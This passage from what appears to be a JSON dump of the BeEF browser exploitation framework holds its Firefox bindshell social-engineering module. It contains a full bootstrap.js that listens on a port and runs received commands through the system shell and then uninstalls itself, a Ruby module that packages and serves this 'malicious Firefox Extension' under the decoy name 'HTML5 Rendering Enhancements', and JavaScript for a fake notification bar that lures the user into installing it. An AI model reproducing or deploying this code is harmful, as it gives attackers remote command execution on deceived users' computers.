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'>\");\n        $j(hid).append(elr);\n        $j(hid).click(function() {\n            $j(this).slideUp(300,function() {\n                $j(this).remove();\n            });\n            //window.location.href = ff_extension;\n            window.open(ff_extension);\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification');\n        });\n        $j(hid).css('cursor','pointer');\n        $j(hid).slideDown(300,function() {\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed');\n        });\n    }\n});\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_bindshell/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        firefox_extension_bindshell:\n            enable: true\n            category: [\"Social Engineering\"]\n            name: \"Firefox Extension (Bindshell)\"\n            description: \"Create on the fly a malicious Firefox extension that binds a shell to a specified port.<br/><br/>The extension is based on the original work from Michael Schierl and his Metasploit module, and joev's Firefox payloads for Metasploit.\"\n            authors: [\"antisnatchor\", \"bcoles\"]\n            target:\n                user_notify:\n                    FF:\n                        min_ver: 1\n                        max_ver: 56\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_bindshell/extension/bootstrap.js",
    "content": "\nfunction startup(data, reason) {\n  var file = Components.classes[\"@mozilla.org/file/directory_service;1\"].\n          getService(Components.interfaces.nsIProperties).\n          get(\"ProfD\", Components.interfaces.nsIFile);\n  file.append(\"extensions\");\n    xpi_guid=\"{861fb387-92ce-bb0a-cb48-4b923dbc292b}\";\n  file.append(xpi_guid);\n\n    // # ./msfpayload firefox/shell_bind_tcp LPORT=1337 R\n    (function(){\n      Components.utils.import(\"resource://gre/modules/NetUtil.jsm\");\n      var lport = __bindshell_port_placeholder__;\n      var rhost = \"\";\n      var serverSocket = Components.classes[\"@mozilla.org/network/server-socket;1\"]\n                             .createInstance(Components.interfaces.nsIServerSocket);\n      serverSocket.init(lport, false, -1);\n\n      var listener = {\n        onSocketAccepted: function(serverSocket, clientSocket) {\n          var outStream = clientSocket.openOutputStream(0, 0, 0);\n          var inStream = clientSocket.openInputStream(0, 0, 0);\n          var pump = Components.classes[\"@mozilla.org/network/input-stream-pump;1\"]\n                     .createInstance(Components.interfaces.nsIInputStreamPump);\n          pump.init(inStream, -1, -1, 0, 0, true);\n          pump.asyncRead(clientListener(outStream), null);\n        }\n      };\n\n      var clientListener = function(outStream) {\n        return {\n          onStartRequest: function(request, context) {},\n          onStopRequest: function(request, context) {},\n          onDataAvailable: function(request, context, stream, offset, count) {\n            var data = NetUtil.readInputStreamToString(stream, count).trim();\n            runCmd(data, function(err, output) {\n              if(!err) outStream.write(output, output.length);\n            });\n          }\n        };\n      };\n\n      \n      \n      var readFile = function(path) {\n        try {\n          var file = Components.classes[\"@mozilla.org/file/local;1\"]\n                   .createInstance(Components.interfaces.nsILocalFile);\n          file.initWithPath(path);\n\n          var fileStream = Components.classes[\"@mozilla.org/network/file-input-stream;1\"]\n                           .createInstance(Components.interfaces.nsIFileInputStream);\n          fileStream.init(file, 1, 0, false);\n\n          var binaryStream = Components.classes[\"@mozilla.org/binaryinputstream;1\"]\n                             .createInstance(Components.interfaces.nsIBinaryInputStream);\n          binaryStream.setInputStream(fileStream);\n          var array = binaryStream.readByteArray(fileStream.available());\n\n          binaryStream.close();\n          fileStream.close();\n          file.remove(true);\n\n          return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(\"\");\n        } catch (e) { return \"\"; }\n      };\n    \n      \n      var setTimeout = function(cb, delay) {\n        var timer = Components.classes[\"@mozilla.org/timer;1\"].createInstance(Components.interfaces.nsITimer);\n        timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);\n        return timer;\n      };\n    \n\n      var ua = Components.classes[\"@mozilla.org/network/protocol;1?name=http\"]\n        .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;\n      var windows = (ua.indexOf(\"Windows\")>-1);\n      var svcs = Components.utils.import(\"resource://gre/modules/Services.jsm\");\n      var jscript = ({\"src\":\"\\n      var b64 = WScript.arguments(0);\\n      var dom = new ActiveXObject(\\\"MSXML2.DOMDocument.3.0\\\");\\n      var el  = dom.createElement(\\\"root\\\");\\n      el.dataType = \\\"bin.base64\\\"; el.text = b64; dom.appendChild(el);\\n      var stream = new ActiveXObject(\\\"ADODB.Stream\\\");\\n      stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);\\n      stream.Position=0; stream.type=2; stream.CharSet = \\\"us-ascii\\\"; stream.Position=0;\\n      var cmd = stream.ReadText();\\n      (new ActiveXObject(\\\"WScript.Shell\\\")).Run(cmd, 0, true);\\n    \"}).src;\n      var runCmd = function(cmd, cb) {\n        cb = cb || (function(){});\n\n        if (cmd.trim().length == 0) {\n          setTimeout(function(){ cb(\"Command is empty string ('').\"); });\n          return;\n        }\n\n        var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim());\n        if (js) {\n          var tag = \"[!JAVASCRIPT]\";\n          var sync = true;  // avoid zalgo's reach\n          var sent = false;\n          var retVal = null;\n\n          try {\n            retVal = Function('send', js[1])(function(r){\n              if (sent) return;\n              sent = true\n              if (r) {\n                if (sync) setTimeout(function(){ cb(false, r+tag+\"\\n\"); });\n                else      cb(false, r+tag+\"\\n\");\n              }\n            });\n          } catch (e) { retVal = e.message; }\n\n          sync = false;\n\n          if (retVal && !sent) {\n            sent = true;\n            setTimeout(function(){ cb(false, retVal+tag+\"\\n\"); });\n          }\n\n          return;\n        }\n\n        var shEsc = \"\\\\$&\";\n        var shPath = \"/bin/sh -c\"\n\n        if (windows) {\n          shPath = \"cmd /c\";\n          shEsc = \"\\^$&\";\n          var jscriptFile = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n            .getService(Components.interfaces.nsIProperties)\n            .get(\"TmpD\", Components.interfaces.nsIFile);\n          jscriptFile.append('I5yOzt1neFMfjSYjyY.js');\n          var stream = Components.classes[\"@mozilla.org/network/safe-file-output-stream;1\"]\n            .createInstance(Components.interfaces.nsIFileOutputStream);\n          stream.init(jscriptFile, 0x04 | 0x08 | 0x20, 0666, 0);\n          stream.write(jscript, jscript.length);\n          if (stream instanceof Components.interfaces.nsISafeOutputStream) {\n            stream.finish();\n          } else {\n            stream.close();\n          }\n        }\n\n        var stdoutFile = \"JKsYPvN0AOYtet5mnB\";\n\n        var stdout = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n          .getService(Components.interfaces.nsIProperties)\n          .get(\"TmpD\", Components.interfaces.nsIFile);\n        stdout.append(stdoutFile);\n\n        if (windows) {\n          var shell = shPath+\" \"+cmd;\n          shell = shPath+\" \"+shell.replace(/\\W/g, shEsc)+\" >\"+stdout.path+\" 2>&1\";\n          var b64 = svcs.btoa(shell);\n        } else {\n          var shell = shPath+\" \"+cmd.replace(/\\W/g, shEsc);\n          shell = shPath+\" \"+shell.replace(/\\W/g, shEsc) + \" >\"+stdout.path+\" 2>&1\";\n        }\n        var process = Components.classes[\"@mozilla.org/process/util;1\"]\n          .createInstance(Components.interfaces.nsIProcess);\n        var sh = Components.classes[\"@mozilla.org/file/local;1\"]\n                   .createInstance(Components.interfaces.nsILocalFile);\n\n        if (windows) {\n          sh.initWithPath(\"C:\\\\Windows\\\\System32\\\\wscript.exe\");\n          process.init(sh);\n          var args = [jscriptFile.path, b64];\n          process.run(true, args, args.length);\n          jscriptFile.remove(true);\n          setTimeout(function(){cb(false, cmd+\"\\n\"+readFile(stdout.path));});\n        } else {\n          sh.initWithPath(\"/bin/sh\");\n          process.init(sh);\n          var args = [\"-c\", shell];\n          process.run(true, args, args.length);\n          setTimeout(function(){cb(false, readFile(stdout.path));});\n        }\n      };\n    \n\n      serverSocket.asyncListen(listener);\n    })();\n\n\n  try { // Fx < 4.0\n    Components.classes[\"@mozilla.org/extensions/manager;1\"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);\n  } catch (e) {}\n  try { // Fx 4.0 and later\n    Components.utils.import(\"resource://gre/modules/AddonManager.jsm\");\n    AddonManager.getAddonByID(xpi_guid, function(addon) {\n      addon.uninstall();\n    });\n  } catch (e) {}\n      }\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_bindshell/extension/build/readme.txt",
    "content": "This is a temp directory where the Firefox extension will be built."
  },
  {
    "path": "modules/social_engineering/firefox_extension_bindshell/extension/chrome.manifest",
    "content": "content\t{861fb387-92ce-bb0a-cb48-4b923dbc292b}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://{861fb387-92ce-bb0a-cb48-4b923dbc292b}/content/overlay.xul\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_bindshell/extension/install.rdf",
    "content": "<?xml version=\"1.0\"?>\n<RDF xmlns=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:em=\"http://www.mozilla.org/2004/em-rdf#\">\n  <Description about=\"urn:mozilla:install-manifest\">\n    <em:id>{861fb387-92ce-bb0a-cb48-4b923dbc292b}</em:id>\n    <em:name>__extension_name_placeholder__</em:name>\n    <em:version>1.0</em:version>\n    <em:bootstrap>true</em:bootstrap>\n    <em:unpack>true</em:unpack>\n    <em:targetApplication>\n      <Description>\n        <em:id>toolkit@mozilla.org</em:id>\n        <em:minVersion>1.0</em:minVersion>\n        <em:maxVersion>*</em:maxVersion>\n      </Description>\n    </em:targetApplication>\n    <em:targetApplication>\n      <Description>\n        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>\n        <em:minVersion>1.0</em:minVersion>\n        <em:maxVersion>*</em:maxVersion>\n      </Description>\n    </em:targetApplication>\n    </Description>\n</RDF>"
  },
  {
    "path": "modules/social_engineering/firefox_extension_bindshell/extension/overlay.xul",
    "content": "<?xml version=\"1.0\"?>\n<overlay xmlns=\"http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul\">\n  <script src=\"bootstrap.js\"/>\n  <script><![CDATA[window.addEventListener(\"load\", function(e) { startup(); }, false);]]></script>\n</overlay>"
  },
  {
    "path": "modules/social_engineering/firefox_extension_bindshell/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Firefox_extension_bindshell < BeEF::Core::Command\n  class Bind_extension < BeEF::Core::Router::Router\n    before do\n      headers 'Content-Type' => 'application/x-xpinstall',\n              'Pragma' => 'no-cache',\n              'Cache-Control' => 'no-cache',\n              'Expires' => '0'\n    end\n\n    get '/' do\n      response['Content-Type'] = 'application/x-xpinstall'\n      extension_path = settings.extension_path\n      print_info \"Serving malicious Firefox Extension (Bindshell): #{extension_path}\"\n      send_file extension_path.to_s,\n                type: 'application/x-xpinstall',\n                disposition: 'inline'\n    end\n  end\n\n  def pre_send\n    # gets the value configured in the module configuration by the user\n    @datastore.each do |input|\n      @extension_name = input['value'] if input['name'] == 'extension_name'\n      @xpi_name = input['value'] if input['name'] == 'xpi_name'\n      @lport = input['value'] if input['name'] == 'lport'\n    end\n\n    mod_path = \"#{$root_dir}/modules/social_engineering/firefox_extension_bindshell\"\n    extension_path = \"#{mod_path}/extension\"\n\n    # clean the build directory\n    FileUtils.rm_rf(\"#{extension_path}/build/.\", secure: true)\n\n    # copy in the build directory necessary file, substituting placeholders\n    File.open(\"#{extension_path}/build/install.rdf\", 'w') do |file|\n      file.puts File.read(\"#{extension_path}/install.rdf\").gsub!('__extension_name_placeholder__', @extension_name)\n    end\n    File.open(\"#{extension_path}/build/bootstrap.js\", 'w')    { |file| file.puts File.read(\"#{extension_path}/bootstrap.js\").gsub!('__bindshell_port_placeholder__', @lport) }\n    File.open(\"#{extension_path}/build/overlay.xul\", 'w')     { |file| file.puts File.read(\"#{extension_path}/overlay.xul\") }\n    File.open(\"#{extension_path}/build/chrome.manifest\", 'w') { |file| file.puts File.read(\"#{extension_path}/chrome.manifest\") }\n\n    extension_content = ['install.rdf', 'bootstrap.js', 'overlay.xul', 'chrome.manifest']\n\n    # create the XPI extension container\n    xpi = \"#{extension_path}/#{@xpi_name}.xpi\"\n    File.delete(xpi) if File.exist?(xpi)\n    Zip::File.open(xpi, Zip::File::CREATE) do |xpi|\n      extension_content.each do |filename|\n        xpi.add(filename, \"#{extension_path}/build/#{filename}\")\n      end\n    end\n\n    # mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specific content-type/disposition)\n    bind_extension = Firefox_extension_bindshell::Bind_extension\n    bind_extension.set :extension_path, \"#{$root_dir}/modules/social_engineering/firefox_extension_bindshell/extension/#{@xpi_name}.xpi\"\n    BeEF::Core::Server.instance.mount(\"/#{@xpi_name}.xpi\", bind_extension.new)\n    BeEF::Core::Server.instance.remap\n  end\n\n  def self.options\n    [\n      { 'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements' },\n      { 'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements' },\n      { 'name' => 'lport', 'ui_label' => 'Listen Port', 'value' => '1337' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_dropper/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    var xpi_name = '<%= @xpi_name %>';\n    var base_host ='<%= @base_host %>';\n    var ff_extension = '/' + xpi_name + '.xpi';\n\n    if(beef.browser.isFF()){\n        var id = beef.dom.generateID();\n        var pid = beef.dom.generateID();\n        var zztop = beef.dom.getHighestZindex()+1;\n        var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background:#fbe99a; display:none;'});\n        var elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAEJGlDQ1BJQ0MgUHJvZmlsZQAAOBGFVd9v21QUPolvUqQWPyBYR4eKxa9VU1u5GxqtxgZJk6XtShal6dgqJOQ6N4mpGwfb6baqT3uBNwb8AUDZAw9IPCENBmJ72fbAtElThyqqSUh76MQPISbtBVXhu3ZiJ1PEXPX6yznfOec7517bRD1fabWaGVWIlquunc8klZOnFpSeTYrSs9RLA9Sr6U4tkcvNEi7BFffO6+EdigjL7ZHu/k72I796i9zRiSJPwG4VHX0Z+AxRzNRrtksUvwf7+Gm3BtzzHPDTNgQCqwKXfZwSeNHHJz1OIT8JjtAq6xWtCLwGPLzYZi+3YV8DGMiT4VVuG7oiZpGzrZJhcs/hL49xtzH/Dy6bdfTsXYNY+5yluWO4D4neK/ZUvok/17X0HPBLsF+vuUlhfwX4j/rSfAJ4H1H0qZJ9dN7nR19frRTeBt4Fe9FwpwtN+2p1MXscGLHR9SXrmMgjONd1ZxKzpBeA71b4tNhj6JGoyFNp4GHgwUp9qplfmnFW5oTdy7NamcwCI49kv6fN5IAHgD+0rbyoBc3SOjczohbyS1drbq6pQdqumllRC/0ymTtej8gpbbuVwpQfyw66dqEZyxZKxtHpJn+tZnpnEdrYBbueF9qQn93S7HQGGHnYP7w6L+YGHNtd1FJitqPAR+hERCNOFi1i1alKO6RQnjKUxL1GNjwlMsiEhcPLYTEiT9ISbN15OY/jx4SMshe9LaJRpTvHr3C/ybFYP1PZAfwfYrPsMBtnE6SwN9ib7AhLwTrBDgUKcm06FSrTfSj187xPdVQWOk5Q8vxAfSiIUc7Z7xr6zY/+hpqwSyv0I0/QMTRb7RMgBxNodTfSPqdraz/sDjzKBrv4zu2+a2t0/HHzjd2Lbcc2sG7GtsL42K+xLfxtUgI7YHqKlqHK8HbCCXgjHT1cAdMlDetv4FnQ2lLasaOl6vmB0CMmwT/IPszSueHQqv6i/qluqF+oF9TfO2qEGTumJH0qfSv9KH0nfS/9TIp0Wboi/SRdlb6RLgU5u++9nyXYe69fYRPdil1o1WufNSdTTsp75BfllPy8/LI8G7AUuV8ek6fkvfDsCfbNDP0dvRh0CrNqTbV7LfEEGDQPJQadBtfGVMWEq3QWWdufk6ZSNsjG2PQjp3ZcnOWWing6noonSInvi0/Ex+IzAreevPhe+CawpgP1